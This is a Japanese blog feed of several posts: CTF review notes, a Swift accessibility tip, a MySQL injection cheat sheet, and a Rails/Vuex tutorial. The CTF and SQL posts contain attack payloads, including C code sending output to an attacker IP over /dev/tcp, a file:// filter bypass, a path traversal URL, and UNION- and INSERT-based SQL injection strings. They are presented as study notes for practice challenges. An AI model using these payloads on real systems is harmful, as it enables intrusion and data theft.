【ngrok.io】特定のIPアドレスとポートでリクエストを受け付ける
あらまし
ContrailCTF
にオンタイムで参加できず、writeupを見ながら復習していた時、ngrok
なるサイトが紹介されていたのでメモがてら備忘録です。
NoWallForUs
という問題のwriteupに使われていました。シナリオとしては競プロサイトで、C
など任意言語でhello
を出力するコードを提出する合間に、フラグを見つけるみたいな感じです。今回のwriteup参考サイトはこちら
www.ryotosaito.com
提出するコードにtcp通信を仕込みます。この通信先をさくっと準備するのにngrok
を使っていました。
#include <unistd.h> int main() { execl("/bin/bash", "/bin/bash", "-c", "echo hello &>/dev/tcp/17.xxx.xx.xx/1234", NULL); return -1; } [引用元:https://www.ryotosaito.com/blog/?p=400]
自分のマシンで受け付ける
ngrok
に登録して、必要なファイルをダウンロード。インストールを行います(省略)
ngrok - secure introspectable tunnels to localhost
ngrokが便利すぎる - Qiita
ローカルでリクエストを受け付けます。今回os
はubuntu
です。
$nc -l 1234
新しいタブを開いて、ngrok
を起動し、nc
で待ち受けているやつに紐付けます。
$./ngrok tcp 1234
コンソールが表示され接続先がわかります。
あとはping
などを飛ばしてipアドレス
を特定すれば、待ち受けるIPアドレスがわかるので、それと先ほど表示されたポートを使ってリクエストを送れると思います。
【復習回】Archiso Web Challenges 2019
この記事は
解けなかった問題や違う解法を自分用に残しておくものです。writeupは他の方のをぜひご覧ください。
参考先
Single Page HTML Viewer 2
テキストフィールドにurl
を入力して/flag
ファイルの中身を見る問題です。flag
という文字を入力は弾かれます。別途サーバ立ち上げてなんか描画させるのかと思ってましたが違うようです。
さらに予想として,burp
でクエリにファイルパスを入れればフロント側のフィルタを回避できるかと思ったのですが、サーバサイドでもflag
という文字を弾いている模様。最終的にurlエンコードしたfile:///%66%6c%61%67
をinput
フィールドに入れればok。またリクエスト時にurlエンコードがさらにかかるようなので、burp
でfile%3A%2F%2F%2F%2566%256c%2561%2567
を投げても良い。
Go Mikuji
このページの一番下に紹介されています。物理ファイルの操作にpath/filepath
ではなくpath
を使うとディレクトリトラバーサルができるようになる。
mattn.kaoriya.net
// 主要部 http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { name := filepath.FromSlash(filepath.Join(cwd, "public", path.Base(r.URL.Path))) path := strings.Replace(name, "\\", "/", -1) f, err := os.Open(path) ... ... http.HandleFunc("/public/omikuji", func(w ht...
app % tree . . ├── flag.txt ├── main.go └── public └── index.html
https://awebc19.archiso.dev/problems/go_mikuji/omikuji //
↓
https://awebc19.archiso.dev/problems/go_mikuji/..%5cflag.txt
バックスラッシュは%5c
で入力。これで発火してpublic/../flag.txt
を表示します。
Dolls Data 2 & 3
1は普通のunion select
でした。
' and 0 UNION SELECT table_name,column_name,3,4,5,6,7,8,9,10,11 FROM information_schema.columns;--
2ではコロンを入力できなくなっているので、join
でつなぐようです。
' and 0 UNION SELECT * FROM (SELECT table_name FROM information_schema.columns)a JOIN(SELECT 2)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k; --
一度に全てのテーブルとカラムを取得するにはこれ。
' and 0 UNION SELECT * FROM (SELECT table_name FROM information_schema.columns)a JOIN(SELECT column_name FROM information_schema.columns)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k; --
3では空白とハイフンが消される模様。今までハイフンつけてたけれど、;
だけで良さそう?2の解法の空白
を/**/
に全て置き換えれば通るそうです。
今回どこがエスケープされるようになったかは、レスポンスに含まれるinput
パラメータを見て、入力と比較して消されている文字を探せば見つかりました。
【Swift5】AXIsProcessTrustedWithOptions(_:) アクセシビリティのダイアログ(Window)が表示されない[MacOS]
情報が乗ってないわけではないのですが、日本語のMacOS
の解説が少ないので残しておきます。この記事での原因はaddGlobalMonitorForEvents
です。
環境
xcode Version 11.2.1 (11B500) Apple Swift version 5.1.2 (swiftlang-1100.0.278 clang-1100.0.33.9)
コード
コード自体は割と転がっています。新規Cocoa Project
を作って、AppDelegate
のapplicationDidFinishLaunching()
メソッドに記述します。AXIsProcessTrustedWithOptions()
を呼ぶことで、アプリケーションに許可がない時にダイアログを表示することができます。
let options: NSDictionary = [kAXTrustedCheckOptionPrompt.takeRetainedValue() as NSString: true] if !AXIsProcessTrustedWithOptions(options){ //タイマーでチェックし続けるなどをよくする }
原因
僕の場合は、addGlobalMonitorForEvents()
(アプリを開いてなくてもバックグラウンドでイベントを仕込める)を利用していたので、AppSandbox
を切る必要がありました。左のプロジェクト階層のトップを開いて、Sging&Capabilities
タブを開きます。(Teamは設定しておくと良いかも)
AppSandbox
の右上のxボタンを押して消します。
これで表示されると思います。
【MySQL】VALUESの中に他テーブルの文字を挿入[SQLi]
想定
下の$params
の部分が入力になっている。ここで保存した値が、一覧ページに表示される仕様になっている。
INSERT INTO table_name (column_name1, column_name2) VALUES (1, $params) ;
スキーマ名をカラムに保存
$params = (select group_concat(schema_name) from information_schema.schema)
table名をカラムに保存
$params = (select group_concat(table_name) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='必要ならスキーマ名')
group_concat
には独自でまとめられる個数制限があるらしいので、like
句などで絞ってBurp
のIntruder
などでa-z
を回すと効率良い。
$params = (select group_concat(table_name) from INFORMATION_SCHEMA.TABLES where TABLE_NAME like 'a%')
カラム名を保存
(select group_concat(COLUMN_NAME) from information_schema.columns where table_name='テーブル名')
最後に
あとは出題に合わせて適宜'
などを入れてください。(CTF)
【rails_vue_melt】Vuexを使う&管理
はじめに
前回はrails_vue_melt
というgem
を利用してRails
にvue.js
を導入しました。今回はVuex
をいい感じに管理しようと思います。が、もっと良いわけたかがあると思うので、普段使いしている方は自分のやり方でお願いします。。。
階層構造
最終的にこんな感じになりました。
├── application.js └── vue_melt ├── application.js ├── components │ └── Hello.vue ├── mixins ├── options │ └── test_counter.js └── store ├── counts │ ├── actions.js │ ├── getters.js │ ├── index.js │ └── mutations.js └── index.js
中身
呼び出す人
options/test_counter.js
が今回Vuex
を使いたい人です。
// app/frontend/packs/vue_melt/options/test_counter.js import {mapActions,mapState,mapGetters} from 'vuex' import countsModule from '../store/counts' export default { data:()=>({}), components: { counts: countsModule }, computed: { ...mapState({ clickCount: state => state.counts.clickCount }), ...mapGetters({ getCount:"counts/getCount" }) }, methods: { ...mapActions({ increment: "counts/increment", initTo:"counts/initTo" }), Increment(){ this.increment() }, InitTo(value){ this.initTo(value) } } }
大元
ここstore/index.js
でこれから作っていくであろうVuex
のモジュールを呼び出します。今回はcounts
という単純に数字をカウントするものをモジュールにまとめようと思います。
// app/frontend/packs/vue_melt/store/index.js import Vue from 'vue/dist/vue.esm' import Vuex from 'vuex' import countsModule from './counts' Vue.use(Vuex) const state = { } export default new Vuex.Store({ state, modules: { counts: countsModule //ここにどんどん使いしていきます。 } })
countsモジュールの中身
store/counts/index.js
でモジュール内のものをまとめています。また、モジュール内で触るデータの定義はここで行いました。
// app/frontend/packs/vue_melt/store/counts/index.js import actions from './actions' import getters from './getters' import mutations from './mutations' export const state = () =>({ clickCount: 0 }) export default { namespaced: true, state, actions, getters, mutations }
getters.js
にはVuex
に保存してあるデータを読み込み時使うものを定義して基本ここ経由でのみget
するそうです。
// app/frontend/packs/vue_melt/store/counts/getters.js export default { getCount(state){ return state.clickCount } }
mutations.js
にはVuex
に保存してあるデータに変更を加える時に使うメソッドを定義します。ここ経由でのみデータの書き換えを許可します。
//app/frontend/packs/vue_melt/store/counts/mutations.js export default { increment(state){ state.clickCount++ }, initTo(state,value) { state.clickCount = value } }
actions.js
には、ビュー側からmutations
をいじるためのメソッドを定義します。ビュー側からはここに定義したもの経由でのみmutations
を呼び出すことを許可するようです。
// app/frontend/packs/vue_melt/store/counts/actions.js export default { increment ({commit}){ commit('increment') }, initTo({commit},value){ commit('initTo',value) } }
使ってみる
vue_melt
も含めてこんな感じで呼べました。
.t(data-vue="test_counter") input.inc(type="button" v-on:click="increment" value="inc") {{getCount}} input.reset(type="button" v-on:click="initTo(0)" value="reset")
わかりにくいですがスクショも。